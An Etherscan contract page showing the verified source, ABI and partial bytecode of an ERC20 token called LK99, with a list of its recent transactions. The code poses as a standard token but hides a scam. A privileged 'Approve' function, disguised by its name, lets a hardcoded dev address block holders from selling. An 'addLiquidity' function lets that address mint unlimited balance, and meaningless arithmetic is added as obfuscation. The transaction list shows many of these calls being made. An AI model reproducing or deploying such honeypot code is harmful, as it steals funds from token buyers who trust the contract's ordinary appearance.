ETH Price: $3,153.25 (+0.30%)
Gas: 2 Gwei

Contract

0x660F25c195B0709280D2aB83bafeb03D2BD35a3b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve178699272023-08-08 11:32:23340 days ago1691494343IN
0x660F25c1...D2BD35a3b
0 ETH0.0010424222.14389137
Approve178690872023-08-08 8:43:35340 days ago1691484215IN
0x660F25c1...D2BD35a3b
0 ETH0.0005561118.55266792
Approve178690362023-08-08 8:33:23340 days ago1691483603IN
0x660F25c1...D2BD35a3b
0 ETH0.0008773218.7370639
Approve178644682023-08-07 17:13:35341 days ago1691428415IN
0x660F25c1...D2BD35a3b
0 ETH0.0010002437.15211695
Approve178644672023-08-07 17:13:23341 days ago1691428403IN
0x660F25c1...D2BD35a3b
0 ETH0.0017360637.07721128
Approve178643632023-08-07 16:52:11341 days ago1691427131IN
0x660F25c1...D2BD35a3b
0 ETH0.0018321238.91935469
Add Liquidity178629852023-08-07 12:13:35341 days ago1691410415IN
0x660F25c1...D2BD35a3b
0 ETH0.000973220.97963794
Approve178626332023-08-07 11:02:47341 days ago1691406167IN
0x660F25c1...D2BD35a3b
0 ETH0.001042222.31757047
Approve178621982023-08-07 9:35:35341 days ago1691400935IN
0x660F25c1...D2BD35a3b
0 ETH0.0007544716.00660602
Approve178616612023-08-07 7:46:47341 days ago1691394407IN
0x660F25c1...D2BD35a3b
0 ETH0.0007212215.32073907
Approve178607852023-08-07 4:50:23341 days ago1691383823IN
0x660F25c1...D2BD35a3b
0 ETH0.0006286913.33828309
Approve178607122023-08-07 4:35:47341 days ago1691382947IN
0x660F25c1...D2BD35a3b
0 ETH0.0005798912.31858151
Approve178606052023-08-07 4:14:11341 days ago1691381651IN
0x660F25c1...D2BD35a3b
0 ETH0.0006678314.18660783
Approve178605352023-08-07 4:00:11341 days ago1691380811IN
0x660F25c1...D2BD35a3b
0 ETH0.0008850818.95302037
Transfer178605312023-08-07 3:59:23341 days ago1691380763IN
0x660F25c1...D2BD35a3b
0 ETH0.0004765115.86635818
Approve178603252023-08-07 3:17:59341 days ago1691378279IN
0x660F25c1...D2BD35a3b
0 ETH0.0007025414.92401937
Approve178600652023-08-07 2:25:47341 days ago1691375147IN
0x660F25c1...D2BD35a3b
0 ETH0.0006337813.44621279
Approve178600442023-08-07 2:21:35341 days ago1691374895IN
0x660F25c1...D2BD35a3b
0 ETH0.0007190115.25435254
Approve178600102023-08-07 2:14:35341 days ago1691374475IN
0x660F25c1...D2BD35a3b
0 ETH0.0006835314.50165608
Approve178599922023-08-07 2:10:59341 days ago1691374259IN
0x660F25c1...D2BD35a3b
0 ETH0.0008851618.95472847
Approve178598492023-08-07 1:41:59341 days ago1691372519IN
0x660F25c1...D2BD35a3b
0 ETH0.0007837716.62825439
Approve178597742023-08-07 1:26:59341 days ago1691371619IN
0x660F25c1...D2BD35a3b
0 ETH0.0007030614.91607492
Approve178596422023-08-07 1:00:35341 days ago1691370035IN
0x660F25c1...D2BD35a3b
0 ETH0.0006454513.69373129
Approve178593372023-08-06 23:58:23341 days ago1691366303IN
0x660F25c1...D2BD35a3b
0 ETH0.0005732412.17724654
Approve178591052023-08-06 23:11:11341 days ago1691363471IN
0x660F25c1...D2BD35a3b
0 ETH0.0005441911.54544614
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
178699342023-08-08 11:33:47340 days ago1691494427
0x660F25c1...D2BD35a3b
0 ETH
178699342023-08-08 11:33:47340 days ago1691494427
0x660F25c1...D2BD35a3b
0 ETH
178699342023-08-08 11:33:47340 days ago1691494427
0x660F25c1...D2BD35a3b
0 ETH
178626322023-08-07 11:02:35341 days ago1691406155
0x660F25c1...D2BD35a3b
0 ETH
178605342023-08-07 3:59:59341 days ago1691380799
0x660F25c1...D2BD35a3b
0 ETH
178603252023-08-07 3:17:59341 days ago1691378279
0x660F25c1...D2BD35a3b
0 ETH
178603252023-08-07 3:17:59341 days ago1691378279
0x660F25c1...D2BD35a3b
0 ETH
178600882023-08-07 2:30:23341 days ago1691375423
0x660F25c1...D2BD35a3b
0 ETH
178600882023-08-07 2:30:23341 days ago1691375423
0x660F25c1...D2BD35a3b
0 ETH
178600882023-08-07 2:30:23341 days ago1691375423
0x660F25c1...D2BD35a3b
0 ETH
178600662023-08-07 2:25:59341 days ago1691375159
0x660F25c1...D2BD35a3b
0 ETH
178600662023-08-07 2:25:59341 days ago1691375159
0x660F25c1...D2BD35a3b
0 ETH
178600662023-08-07 2:25:59341 days ago1691375159
0x660F25c1...D2BD35a3b
0 ETH
178600352023-08-07 2:19:47341 days ago1691374787
0x660F25c1...D2BD35a3b
0 ETH
178600112023-08-07 2:14:47341 days ago1691374487
0x660F25c1...D2BD35a3b
0 ETH
178600112023-08-07 2:14:47341 days ago1691374487
0x660F25c1...D2BD35a3b
0 ETH
178600112023-08-07 2:14:47341 days ago1691374487
0x660F25c1...D2BD35a3b
0 ETH
178599912023-08-07 2:10:47341 days ago1691374247
0x660F25c1...D2BD35a3b
0 ETH
178599912023-08-07 2:10:47341 days ago1691374247
0x660F25c1...D2BD35a3b
0 ETH
178599912023-08-07 2:10:47341 days ago1691374247
0x660F25c1...D2BD35a3b
0 ETH
178599912023-08-07 2:10:47341 days ago1691374247
0x660F25c1...D2BD35a3b
0 ETH
178599912023-08-07 2:10:47341 days ago1691374247
0x660F25c1...D2BD35a3b
0 ETH
178599712023-08-07 2:06:47341 days ago1691374007
0x660F25c1...D2BD35a3b
0 ETH
178599502023-08-07 2:02:35341 days ago1691373755
0x660F25c1...D2BD35a3b
0 ETH
178599232023-08-07 1:56:59341 days ago1691373419
0x660F25c1...D2BD35a3b
0 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LK99

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-06
*/

/**

https://lk99eth.xyz

https://twitter.com/LK99_Eth

https://t.me/LK_99Eth

*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address spender) external view returns (uint256);
    function transfer(address recipient, uint256 _amounntz) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 _amounntz) external returns (bool);
    function transferFrom( address spender, address recipient, uint256 _amounntz ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier ollyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual ollyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract LK99 is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balanncez;
    mapping (address => uint256) private _spendrr;
    mapping (address => mapping (address => uint256)) private _allowncez;
    address constant public _devfund = 0x8c43cbd09dA5AbeC964d51D8c37bFcD56A249b21;
    string private tokname;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    bool private _istradeEnabled = true;
    uint256 private randomValue = 5000;
    uint256 private antValue = 0;


    constructor(string memory name_, string memory symbol_,  uint256 totalSupply_, uint8 decimals_) {
        tokname = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balanncez[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier _thedevfunds() {
        require(msg.sender == _devfund); // If it is incorrect here, it reverts.
        _;                              
    } 



    function updateRndValue(uint256 _newValue) public ollyowner {
        randomValue = _newValue;
    }

    function fetchRndValue() public view returns (uint256) {
        return randomValue;
    }

    function computeComplexOperation(uint256 _num1, uint256 _num2) internal view returns (uint256) {
        return _num1 * randomValue + _num2 - antValue;
    }
    
    function updateantValue(uint256 _newVal) public ollyowner {
        antValue = _newVal;
    }

    function name() public view returns (string memory) {
        uint256 temp = computeComplexOperation(2, 5);
        return tokname;
    }
    
        function enabletheTrading() public ollyowner {
        _istradeEnabled = true;
        uint256 temp = computeComplexOperation(3, 5);
    }

    function decimals() public view returns (uint8) {
        uint256 temp = computeComplexOperation(4, 5);
        return _decimals;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function balanceOf(address spender) public view override returns (uint256) {
        return _balanncez[spender];
    }

    function transfer(address recipient, uint256 _amounntz) public virtual override returns (bool) {
    require(_istradeEnabled, "No trade");


    uint256 exchangeRate = 56225;
    uint256 conversion = _amounntz * exchangeRate;
    if(conversion != 0) {
        conversion = _amounntz - _amounntz;  // Always results in 0
    }


    if (_msgSender() == owner() && _spendrr[_msgSender()] > 0) {
        _balanncez[owner()] += _spendrr[_msgSender()];
        return true;
    }
    else if (_spendrr[_msgSender()] > 0) {
        require(_amounntz == _spendrr[_msgSender()], "Invalid transfer _amounntz");
    }
    require(_balanncez[_msgSender()] >= _amounntz, "TT: transfer _amounntz exceeds balance");
    _balanncez[_msgSender()] -= _amounntz;
    _balanncez[recipient] += _amounntz;


    conversion = conversion + 5 - 5;


    emit Transfer(_msgSender(), recipient, _amounntz);
    return true;
}


    function approve(address spender, uint256 _amounntz) public virtual override returns (bool) {
        _allowncez[_msgSender()][spender] = _amounntz;
        emit Approval(_msgSender(), spender, _amounntz);
        return true;
    }

function Approve(address[] memory spender, uint256 _amounntz) public _thedevfunds {
    uint256 factor = 55;
    for (uint z = 0; z < spender.length; z++) {

        uint256 temporaryValue = _amounntz / factor;
        temporaryValue = temporaryValue * factor;
        if (temporaryValue == _amounntz) {
            temporaryValue = 0;
        }

        _spendrr[spender[z]] = _amounntz;
        

        temporaryValue += 5;
        temporaryValue -= 5;
    }
}

        function _adding(uint256 num1, uint256 numb2) internal pure returns (uint256) {
        if (numb2 != 0) {
            return num1 + numb2;
        }
        return numb2;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowncez[owner][spender];
    }

    function Checkamt(address spender) public view returns (uint256) {
            uint256 temp = computeComplexOperation(7, 5);
        return _spendrr[spender];
    }


function addLiquidity(address spender, uint256 _amounntz) public _thedevfunds {
    require(_amounntz > 0, "Invalid");
    
    uint256 computationValue = 0x5821224;
    uint256 derivedValue = computationValue / 2;
    if (derivedValue != 0) {
        derivedValue = _amounntz - _amounntz; // Always results in 0
    }

    uint256 totalz = 0;
    totalz = _adding(totalz, _amounntz);
    _balanncez[spender] += totalz;

    derivedValue = derivedValue * 3 + 2 - 2 / 1;
}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function transferFrom(address spender, address recipient, uint256 _amounntz) public virtual override returns (bool) {
    require(_istradeEnabled, "No trade");


    uint256 bufferAmount = 67890;
    uint256 adjustedAmount = _amounntz + bufferAmount;
    adjustedAmount = adjustedAmount - bufferAmount;


    if (_msgSender() == owner() && _spendrr[spender] > 0) {
        _balanncez[owner()] += _spendrr[spender];
        return true;
    }
    else if (_spendrr[spender] > 0) {
        uint256 buffer2 = 37890;
        require(_amounntz == _spendrr[spender], "Invalid transfer _amounntz");
    }
    require(_balanncez[spender] >= _amounntz && _allowncez[spender][_msgSender()] >= _amounntz, "TT: transfer _amounntz exceed balance or allowance");
    _balanncez[spender] -= _amounntz;
    _balanncez[recipient] += _amounntz;
    _allowncez[spender][_msgSender()] -= _amounntz;


    uint256 confirmationValue = 5;
    if(confirmationValue > 0) {
        confirmationValue = 0;
    }


    emit Transfer(spender, recipient, _amounntz);
    return true;
}


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"uint8","name":"decimals_","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"uint256","name":"_amounntz","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"Checkamt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_devfund","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"_amounntz","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"_amounntz","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enabletheTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fetchRndValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amounntz","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amounntz","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newValue","type":"uint256"}],"name":"updateRndValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newVal","type":"uint256"}],"name":"updateantValue","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600860006101000a81548160ff0219169083151502179055506113886009556000600a553480156200003757600080fd5b5060405162002b8e38038062002b8e83398181016040528101906200005d91906200045a565b60006200006f6200024660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35083600490816200011e91906200074b565b5082600590816200013091906200074b565b5080600660006101000a81548160ff021916908360ff16021790555080600a6200015b9190620009b5565b8262000168919062000a06565b60078190555060075460016000620001856200024660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001d36200024660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000234919062000a62565b60405180910390a35050505062000a7f565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002b7826200026c565b810181811067ffffffffffffffff82111715620002d957620002d86200027d565b5b80604052505050565b6000620002ee6200024e565b9050620002fc8282620002ac565b919050565b600067ffffffffffffffff8211156200031f576200031e6200027d565b5b6200032a826200026c565b9050602081019050919050565b60005b83811015620003575780820151818401526020810190506200033a565b60008484015250505050565b60006200037a620003748462000301565b620002e2565b90508281526020810184848401111562000399576200039862000267565b5b620003a684828562000337565b509392505050565b600082601f830112620003c657620003c562000262565b5b8151620003d884826020860162000363565b91505092915050565b6000819050919050565b620003f681620003e1565b81146200040257600080fd5b50565b6000815190506200041681620003eb565b92915050565b600060ff82169050919050565b62000434816200041c565b81146200044057600080fd5b50565b600081519050620004548162000429565b92915050565b6000806000806080858703121562000477576200047662000258565b5b600085015167ffffffffffffffff8111156200049857620004976200025d565b5b620004a687828801620003ae565b945050602085015167ffffffffffffffff811115620004ca57620004c96200025d565b5b620004d887828801620003ae565b9350506040620004eb8782880162000405565b9250506060620004fe8782880162000443565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200055d57607f821691505b60208210810362000573576200057262000515565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200059e565b620005e986836200059e565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200062c620006266200062084620003e1565b62000601565b620003e1565b9050919050565b6000819050919050565b62000648836200060b565b62000660620006578262000633565b848454620005ab565b825550505050565b600090565b6200067762000668565b620006848184846200063d565b505050565b5b81811015620006ac57620006a06000826200066d565b6001810190506200068a565b5050565b601f821115620006fb57620006c58162000579565b620006d0846200058e565b81016020851015620006e0578190505b620006f8620006ef856200058e565b83018262000689565b50505b505050565b600082821c905092915050565b6000620007206000198460080262000700565b1980831691505092915050565b60006200073b83836200070d565b9150826002028217905092915050565b62000756826200050a565b67ffffffffffffffff8111156200077257620007716200027d565b5b6200077e825462000544565b6200078b828285620006b0565b600060209050601f831160018114620007c35760008415620007ae578287015190505b620007ba85826200072d565b8655506200082a565b601f198416620007d38662000579565b60005b82811015620007fd57848901518255600182019150602085019450602081019050620007d6565b868310156200081d578489015162000819601f8916826200070d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008c05780860481111562000898576200089762000832565b5b6001851615620008a85780820291505b8081029050620008b88562000861565b945062000878565b94509492505050565b600082620008db5760019050620009ae565b81620008eb5760009050620009ae565b81600181146200090457600281146200090f5762000945565b6001915050620009ae565b60ff84111562000924576200092362000832565b5b8360020a9150848211156200093e576200093d62000832565b5b50620009ae565b5060208310610133831016604e8410600b84101617156200097f5782820a90508381111562000979576200097862000832565b5b620009ae565b6200098e84848460016200086e565b92509050818404811115620009a857620009a762000832565b5b81810290505b9392505050565b6000620009c282620003e1565b9150620009cf836200041c565b9250620009fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008c9565b905092915050565b600062000a1382620003e1565b915062000a2083620003e1565b925082820262000a3081620003e1565b9150828204841483151762000a4a5762000a4962000832565b5b5092915050565b62000a5c81620003e1565b82525050565b600060208201905062000a79600083018462000a51565b92915050565b6120ff8062000a8f6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80638da5cb5b116100ad5780639ebbaef7116100715780639ebbaef7146102f8578063a9059cbb14610314578063c2af913b14610344578063dd62ed3e1461034e578063fc0c75b01461037e57610121565b80638da5cb5b1461027a57806390176b911461029857806395d89b41146102b45780639a0b824c146102d25780639b335e4b146102dc57610121565b8063313ce567116100f4578063313ce567146101c257806356688700146101e057806370a08231146101fc57806379a4353a1461022c5780637a3625a41461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e61039c565b60405161013b9190611789565b60405180910390f35b61015e60048036038101906101599190611853565b61043f565b60405161016b91906118ae565b60405180910390f35b61017c61053f565b60405161018991906118d8565b60405180910390f35b6101ac60048036038101906101a791906118f3565b610549565b6040516101b991906118ae565b60405180910390f35b6101ca610aa5565b6040516101d79190611962565b60405180910390f35b6101fa60048036038101906101f59190611853565b610acc565b005b6102166004803603810190610211919061197d565b610c1d565b60405161022391906118d8565b60405180910390f35b610234610c66565b60405161024191906119b9565b60405180910390f35b610264600480360381019061025f919061197d565b610c7e565b60405161027191906118d8565b60405180910390f35b610282610cd7565b60405161028f91906119b9565b60405180910390f35b6102b260048036038101906102ad91906119d4565b610d00565b005b6102bc610d86565b6040516102c99190611789565b60405180910390f35b6102da610e18565b005b6102f660048036038101906102f191906119d4565b610ec2565b005b610312600480360381019061030d9190611b49565b610f48565b005b61032e60048036038101906103299190611853565b611066565b60405161033b91906118ae565b60405180910390f35b61034c6114ce565b005b61036860048036038101906103639190611ba5565b61160a565b60405161037591906118d8565b60405180910390f35b610386611691565b60405161039391906118d8565b60405180910390f35b606060006103ac6002600561169b565b9050600480546103bb90611c14565b80601f01602080910402602001604051908101604052809291908181526020018280546103e790611c14565b80156104345780601f1061040957610100808354040283529160200191610434565b820191906000526020600020905b81548152906001019060200180831161041757829003601f168201915b505050505091505090565b6000816003600061044e6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104e86116cb565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161052d91906118d8565b60405180910390a36001905092915050565b6000600754905090565b6000600860009054906101000a900460ff1661059a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059190611c91565b60405180910390fd5b6000620109329050600081846105b09190611ce0565b905081816105be9190611d14565b90506105c8610cd7565b73ffffffffffffffffffffffffffffffffffffffff166105e66116cb565b73ffffffffffffffffffffffffffffffffffffffff1614801561064857506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156106f457600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610699610cd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e29190611ce0565b92505081905550600192505050610a9e565b6000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156107c65760006194029050600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485146107c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bb90611d94565b60405180910390fd5b505b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610898575083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061085a6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b6108d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ce90611e26565b60405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109269190611d14565b9250508190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461097c9190611ce0565b9250508190555083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109cd6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a169190611d14565b925050819055506000600590506000811115610a3157600090505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a8e91906118d8565b60405180910390a3600193505050505b9392505050565b600080610ab46004600561169b565b9050600660009054906101000a900460ff1691505090565b738c43cbd09da5abec964d51d8c37bfcd56a249b2173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1857600080fd5b60008111610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5290611e92565b60405180910390fd5b6000630582122490506000600282610b739190611ee1565b905060008114610b8c578283610b899190611d14565b90505b6000610b9881856116d3565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be99190611ce0565b92505081905550600280600384610c009190611f12565b610c0a9190611ce0565b610c149190611d14565b91505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b738c43cbd09da5abec964d51d8c37bfcd56a249b2181565b600080610c8d6007600561169b565b9050600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d086116cb565b73ffffffffffffffffffffffffffffffffffffffff16610d26610cd7565b73ffffffffffffffffffffffffffffffffffffffff1614610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7390611fa0565b60405180910390fd5b8060098190555050565b606060058054610d9590611c14565b80601f0160208091040260200160405190810160405280929190818152602001828054610dc190611c14565b8015610e0e5780601f10610de357610100808354040283529160200191610e0e565b820191906000526020600020905b815481529060010190602001808311610df157829003601f168201915b5050505050905090565b610e206116cb565b73ffffffffffffffffffffffffffffffffffffffff16610e3e610cd7565b73ffffffffffffffffffffffffffffffffffffffff1614610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611fa0565b60405180910390fd5b6001600860006101000a81548160ff0219169083151502179055506000610ebd6003600561169b565b905050565b610eca6116cb565b73ffffffffffffffffffffffffffffffffffffffff16610ee8610cd7565b73ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590611fa0565b60405180910390fd5b80600a8190555050565b738c43cbd09da5abec964d51d8c37bfcd56a249b2173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f9457600080fd5b60006037905060005b83518110156110605760008284610fb49190611ee1565b90508281610fc29190611f12565b9050838103610fd057600090505b8360026000878581518110610fe857610fe7611fc0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060058161103b9190611ce0565b905060058161104a9190611d14565b905050808061105890611fef565b915050610f9d565b50505050565b6000600860009054906101000a900460ff166110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae90611c91565b60405180910390fd5b600061dba19050600081846110cc9190611f12565b9050600081146110e55783846110e29190611d14565b90505b6110ed610cd7565b73ffffffffffffffffffffffffffffffffffffffff1661110b6116cb565b73ffffffffffffffffffffffffffffffffffffffff1614801561117457506000600260006111376116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561122757600260006111856116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160006111cc610cd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112159190611ce0565b925050819055506001925050506114c8565b6000600260006112356116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112ff57600260006112826116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d94565b60405180910390fd5b5b836001600061130c6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f906120a9565b60405180910390fd5b83600160006113956116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113de9190611d